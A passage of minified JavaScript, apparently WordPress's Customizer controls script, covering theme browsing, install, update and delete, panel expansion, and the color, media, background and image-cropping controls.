t=J(".customize-themes-full-container"),e=J(e.currentTarget);n.filtersHeight=e.parent().next(".filter-drawer").height(),0<t.scrollTop()&&(t.animate({scrollTop:0},400),e.hasClass("open"))||(e.toggleClass("open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}).parent().next(".filter-drawer").slideToggle(180,"linear"),e.hasClass("open")?(t=1018<window.innerWidth?50:76,n.contentContainer.find(".themes").css("margin-top",n.filtersHeight+t)):n.contentContainer.find(".themes").css("margin-top",0))}),n.contentContainer.on("click",".no-themes-local .search-dotorg-themes",function(){Y.section("wporg_themes").focus()}),n.expanded.bind(t),t(),Y.bind("ready",function(){n.contentContainer=n.container.find(".customize-themes-section"),n.contentContainer.appendTo(J(".customize-themes-full-container")),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(".customize-themes-full-container");function a(){0===i.loaded&&i.loadThemes(),Y.section.each(function(e){var t;e!==i&&"themes"===e.params.type&&(t=e.contentContainer.find(".wp-filter-search").val(),i.contentContainer.find(".wp-filter-search").val(t),""===t&&""!==i.term&&"local"!==i.params.filter_type?(i.term="",i.initializeNewQuery(i.term,i.tags)):"remote"===i.params.filter_type?i.checkTerm(i):"local"===i.params.filter_type&&i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass("current-section"),t.scrollTop(),t.on("scroll",_.throttle(i.renderScreenshots,300)),t.on("scroll",_.throttle(i.loadMore,300)),n.completeCallback&&n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&&n.completeCallback():e?i.panel()&&Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass("current-section"),i.headerContainer.find(".filter-details").slideUp(180),t.off("scroll"),n.completeCallback&&n.completeCallback())},getContent:function(){return this.container.find(".control-section-content")},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:"on",theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},"remote"===i.params.filter_type&&(e.search=i.term,e.tags=i.tags),i.headContainer.closest(".wp-full-overlay").addClass("loading"),i.loading=!0,i.container.find(".no-themes").hide(),(e=wp.ajax.post("customize_load_themes",e)).done(function(e){var t=e.themes;""!==i.nextTerm||""!==i.nextTags?(i.nextTerm&&(i.term=i.nextTerm),i.nextTags&&(i.tags=i.nextTags),i.nextTerm="",i.nextTags="",i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&&(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&&((new Image).src=e)}),"local"!==i.params.filter_type)&&wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace("%d",e.info.results)),_.delay(i.renderScreenshots,100),("local"===i.params.filter_type||t.length<100)&&(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(".no-themes").show(),wp.a11y.speak(i.container.find(".no-themes").text())):i.fullyLoaded=!0,"local"===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(".unexpected-error").hide(),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(".unexpected-error").show(),wp.a11y.speak(i.container.find(".unexpected-error").text())):"undefined"!=typeof console&&console.error&&console.error(e),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+"_theme_"+e.id,{type:"theme",section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&&Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(".customize-themes-full-container")).scrollTop()+e.height(),e.prop("scrollHeight")-3e3<t&&this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has("wporg_themes")&&"remote"!==i.params.filter_type?".no-themes-local":".no-themes",o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g," ").split(" "),_.each(o,function(e){e.filter(t)&&(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;"remote"===e.params.filter_type&&(t=e.contentContainer.find(".wp-filter-search").val(),e.term!==t.trim())&&e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(".filter-group").find(":checkbox"),n=[];_.each(t.filter(":checked"),function(e){n.push(J(e).prop("value"))}),0===n.length?(n="",e.contentContainer.find(".feature-filter-toggle .filter-count-0").show(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").hide()):(e.contentContainer.find(".feature-filter-toggle .theme-filter-count").text(n.length),e.contentContainer.find(".feature-filter-toggle .filter-count-0").hide(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:"remote"===e.params.filter_type?e.initializeNewQuery(e.term,n):"local"===e.params.filter_type&&e.filterSearch(n.join(" ")))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&&0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&&(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(".theme-screenshot"),a=i.find("img");return!(!a.length||!a.is(":hidden")&&(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))<=a+n&&a<=t+i)&&e.container.trigger("render-screenshot"),n))}))},getVisibleCount:function(){return this.contentContainer.find("li.customize-control:visible").length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(".themes-displayed"),t=this.contentContainer.find(".theme-count"),0===e?t.text("0"):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace("%d",e)))},nextTheme:function(){var e=this;e.getNextTheme()&&e.showDetails(e.getNextTheme(),function(){e.overlay.find(".right").focus()})},getNextTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e+1])&&t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&&e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(".left").focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e-1])&&t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(".right").addClass("disabled"),this.getPreviousTheme()||this.overlay.find(".left").addClass("disabled")},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel("themes");function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn("fast").focus(),n.overlay.find("button.preview, button.preview-theme").toggleClass("disabled",a()),n.overlay.find("button.theme-install").toggleClass("disabled",a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass("modal-open"),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace("%s",e.name)),t&&t()},closeDetails:function(){this.$body.removeClass("modal-open"),this.overlay.fadeOut("fast"),Y.control(this.params.action+"_theme_"+this.currentTheme).container.find(".theme").focus()},containFocus:function(t){var n;t.on("keydown",function(e){if(9===e.keyCode)return(n=J(":tabbable",t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&&e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent="#customize-outer-theme-controls",this.containerPaneParent=".customize-outer-pane-parent",Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=o.find(".customize-section-back"),r=i.headContainer.find(".accordion-section-title").first();J(document.body).toggleClass("outer-section-open",e),i.container.toggleClass("open",e),i.container.removeClass("busy"),Y.section.each(function(e){"outer"===e.params.type&&e.id!==i.id&&e.container.removeClass("open")}),e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr("tabindex","-1"),s.attr("tabindex","0"),s.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open")}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open")):t.completeCallback&&t.completeCallback()}}),Y.Panel=a.extend({containerType:"panel",initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J("#customize-theme-controls"),n=J(".customize-pane-parent");e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(".accordion-section-title").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(".customize-panel-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&n.collapse())}),(t=n.container.find(".panel-meta:first")).find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e;t.hasClass("cannot-expand")||(e=t.find(".customize-panel-description:first"),t.hasClass("open")?(t.toggleClass("open"),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),t.toggleClass("open"),J(this).attr("aria-expanded",!0)))})},sections:function(){return this._children("panel","section")},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&&e.isContextuallyActive()&&(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&&t.completeCallback():(a=(i=(n=this).contentContainer).closest(".wp-full-overlay"),o=i.closest(".wp-full-overlay-sidebar-content"),s=n.headContainer.find(".accordion-section-title"),r=i.find(".customize-panel-back"),c=n.sections(),e&&!i.hasClass("current-panel")?(Y.section.each(function(e){n.id!==e.panel()&&e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&&e.collapse({duration:0})}),n.params.autoExpandSoleSection&&1===c.length&&c[0].active.get()?(i.addClass("current-panel skip-transition"),a.addClass("in-sub-panel"),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),i.css("top",""),o.scrollTop(0),t.completeCallback&&t.completeCallback()}),i.addClass("current-panel"),a.addClass("in-sub-panel")),Y.state("expandedPanel").set(n)):!e&&i.hasClass("current-panel")&&(i.hasClass("skip-transition")?i.removeClass("skip-transition"):n._animateChangeExpanded(function(){s.attr("tabindex","0"),r.attr("tabindex","-1"),s.focus(),i.css("top",""),t.completeCallback&&t.completeCallback()}),a.removeClass("in-sub-panel"),i.removeClass("current-panel"),n===Y.state("expandedPanel").get())&&Y.state("expandedPanel").set(!1))},renderContent:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector+"-content").length?wp.template(e.templateSelector+"-content"):wp.template("customize-panel-default-content");t&&e.headContainer&&e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||"publish"===Y.state("selectedChangesetStatus").get()&&(""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove("theme_switch_unavailable"):t.notifications.add(new Y.Notification("theme_switch_unavailable",{message:Y.l10n.themePreviewUnavailable,type:"warning"}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&&Y.settings.theme._filesystemCredentialsNeeded&&t.notifications.add(new Y.Notification("theme_install_unavailable",{message:Y.l10n.themeInstallUnavailable,type:"info",dismissible:!0})),e(),Y.state("selectedChangesetStatus").bind(e),Y.state("changesetStatus").bind(e),t.contentContainer.on("click",".customize-theme",function(){t.collapse()}),t.contentContainer.on("click",".customize-themes-section-title, .customize-themes-mobile-back",function(){J(".wp-full-overlay").toggleClass("showing-themes")}),t.contentContainer.on("click",".theme-install",function(e){t.installTheme(e)}),t.contentContainer.on("click",".update-theme, #update-theme",function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on("click",".delete-theme",function(e){t.deleteTheme(e)}),_.bindAll(t,"installTheme","updateTheme")},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&&t.completeCallback():(n=this.headContainer.closest(".wp-full-overlay"),e?(n.addClass("in-themes-panel").delay(200).find(".customize-themes-full-container").addClass("animate"),_.delay(function(){n.addClass("themes-panel-expanded")},200),600<window.innerWidth&&(t=this.sections(),_.each(t,function(e){e.expanded()&&(i=!0)}),!i)&&0<t.length&&t[0].expand()):n.removeClass("in-themes-panel themes-panel-expanded").find(".customize-themes-full-container").removeClass("animate"))},installTheme:function(e){var t,i=this,a=J(e.target).data("slug"),o=J.Deferred(),s=J(e.target).hasClass("preview");return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:"theme_install_unavailable"}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:"theme_already_installing"}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove("theme_installing"),i.loadThemePreview(a);else{if(Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has("installed_theme_"+n.id))return void o.resolve(t);n.type="installed",e=new Y.controlConstructor.theme("installed_theme_"+n.id,{type:"theme",section:"installed_themes",theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger("render-screenshot"),Y.section.each(function(e){"themes"===e.params.type&&n.id===e.currentTheme&&e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&&Y.notifications.add(new Y.OverlayNotification("theme_installing",{message:Y.l10n.themeDownloading,type:"info",loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove("theme_installing")})):o.reject({errorCode:"theme_switch_unavailable"}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement("a")).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state("saved").get()||(e.customize_autosaved="on"),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification("theme_previewing",{message:Y.l10n.themePreviewWait,type:"info",loading:!0})),t=function(){var e;0<Y.state("processing").get()||(Y.state("processing").unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off("beforeunload.customize-confirm"),location.replace(n.href)}),e.fail(function(){Y.notifications.remove("theme_previewing"),i.reject()}))},0===Y.state("processing").get()?t():Y.state("processing").bind(t)):i.reject({errorCode:"theme_switch_unavailable"}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-update-success",function(e,t){Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(".notice").data("slug")})},deleteTheme:function(e){var t=J(e.target).data("slug"),n=Y.section("installed_themes");e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&&(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-delete-success",function(){var e=Y.control("installed_theme_"+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t&&e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaults:{label:"",description:"",active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&&(i.params.type=t,!0)}),i.params.content||(i.params.content=J("<li></li>",{id:"customize-control-"+e.replace(/]/g,"").replace(/\[/g,"-"),class:"customize-control customize-control-"+i.params.type})),i.id=e,i.selector="#customize-control-"+e.replace(/\]/g,"").replace(/\[/g,"-"),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector="customize-control-"+i.params.type+"-content",i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,["section","priority","active"]),i.settings={},n={},i.params.setting&&(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&&_.isFunction(e.extended)&&e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&&((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&&_.isString(e)&&(i.settings[t]=Y(e))}),i.settings[0]&&!i.settings.default&&(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find("[data-customize-setting-link], [data-customize-setting-key-link]"),s={};o.each(function(){var e,t,n=J(this);if(!n.data("customizeSettingLinked")){if(n.data("customizeSettingLinked",!0),n.is(":radio")){if(e=n.prop("name"),s[e])return;s[e]=!0,n=o.filter('[name="'+e+'"]')}n.data("customizeSettingLink")?t=Y(n.data("customizeSettingLink")):n.data("customizeSettingKeyLink")&&(t=a.settings[n.data("customizeSettingKeyLink")]),t&&(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&&Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;"dropdown-pages"===n.params.type&&n.params.allow_addition&&((t=n.container.find(".new-content-item")).hide(),n.container.on("click",".add-new-toggle",function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(".create-item-input").focus()}),n.container.on("click",".add-content",function(){n.addNewPage()}),n.container.on("keydown",".create-item-input",function(e){13===e.which&&n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(".customize-control-notifications-container:first");return n.length||(n=J('<div class="customize-control-notifications-container"></div>'),t.container.hasClass("customize-control-nav_menu_item")?t.container.find(".menu-item-settings:first").prepend(n):t.container.hasClass("customize-control-widget_form")?t.container.find(".widget-inside:first").prepend(n):(e=t.container.find(".customize-control-title")).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&&(n.notifications.bind("add",function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+":"+e.code,t))}),n.notifications.bind("remove",function(e){i.notifications.remove(n.id+":"+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&&Y.section(e).expanded())&&i.notifications.render()},i.notifications.bind("rendered",function(){var e=i.notifications.get();i.container.toggleClass("has-notifications",0!==e.length),i.container.toggleClass("has-error",0!==_.where(e,{type:"error"}).length)}),i.section.bind(e=function(e,t){t&&Y.section.has(t)&&Y.section(t).expanded.unbind(n),e&&Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind("change",_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;"undefined"!=typeof console&&console.warn&&console.warn("[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method."),(e=n.getNotificationsContainerElement())&&e.length&&(t=[],n.notifications.each(function(e){t.push(e),"error"===e.type&&(i=!0)}),0===t.length?e.stop().slideUp("fast"):e.stop().slideDown("fast",null,function(){J(this).css("height","auto")}),n.notificationsTemplate||(n.notificationsTemplate=wp.template("customize-control-notifications")),n.container.toggleClass("has-notifications",0!==t.length),n.container.toggleClass("has-error",i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&&t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&&t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){"string"==typeof e&&i.statuses&&i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(".dropdown-status"),i=this.params,a=!1;this.container.on("click keydown",".dropdown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass("open"),t.container.hasClass("open")&&t.container.parent().parent().find("li.library-selected").focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t==="customize-control-"+e.params.type+"-content"&&_.contains(["button","checkbox","date","datetime-local","email","month","number","password","radio","range","search","select","tel","time","text","textarea","week","url"],e.params.type)&&!document.getElementById("tmpl-"+t)&&0===e.container.children().length&&(t="customize-control-default-content"),document.getElementById("tmpl-"+t)&&(t=wp.template(t))&&e.container&&e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&&Y.section(t).expanded())&&e.notifications.render()},addNewPage:function(){var e,a,o,t,s,r,c=this;"dropdown-pages"===c.params.type&&c.params.allow_addition&&Y.Menus&&(a=c.container.find(".add-new-toggle"),o=c.container.find(".new-content-item"),t=c.container.find(".create-item-input"),s=t.val(),r=c.container.find("select"),s?(t.removeClass("invalid"),t.attr("disabled","disabled"),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:"page"})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:"post-"+e.post_id,title:s,type:"post_type",type_label:Y.Menus.data.l10n.page_label,object:"page",object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J("#available-menu-items-post_type-page").find(".available-menu-items-list"),n=wp.template("available-menu-item"),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val("").removeAttr("disabled")})):t.addClass("invalid"))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e="hue"===this.params.mode,i=!1;e?(t=this.container.find(".color-picker-hue")).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(".color-picker-hex")).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker("color")),i=!1},clear:function(){i=!0,n.setting.set(""),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker("color",e))}),n.container.on("keydown",function(e){27===e.which&&n.container.find(".wp-picker-container").hasClass("wp-picker-active")&&(t.wpColorPicker("close"),n.container.find(".wp-color-result").focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e<=0?(delete n.params.attachment,t.resolve()):n.params.attachment&&n.params.attachment.id===e&&t.resolve()),"pending"===t.state()&&wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+"-attachment-data",this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,"restoreDefault","removeFile","openFrame","select","pausePlayer"),n.container.on("click keydown",".upload-button",n.openFrame),n.container.on("click keydown",".upload-button",n.pausePlayer),n.container.on("click keydown",".thumbnail-image img",n.openFrame),n.container.on("click keydown",".default-button",n.restoreDefault),n.container.on("click keydown",".remove-button",n.pausePlayer),n.container.on("click keydown",".remove-button",n.removeFile),n.container.on("click keydown",".remove-button",n.cleanupPlayer),Y.section(n.section()).container.on("expanded",function(){n.player&&n.player.setControlsSize()}).on("collapsed",function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&&this.player.pause()},cleanupPlayer:function(){this.player&&wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on("select",this.select)},select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post("custom-background-add",{nonce:_wpCustomizeBackground.nonces.add,wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on("change",'input[name="background-position"]',function(){var e=J(this).val().split(" ");n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+" "+String(t);n.container.find('input[name="background-position"][value="'+e+'"]').trigger("click")}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState("library").open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var 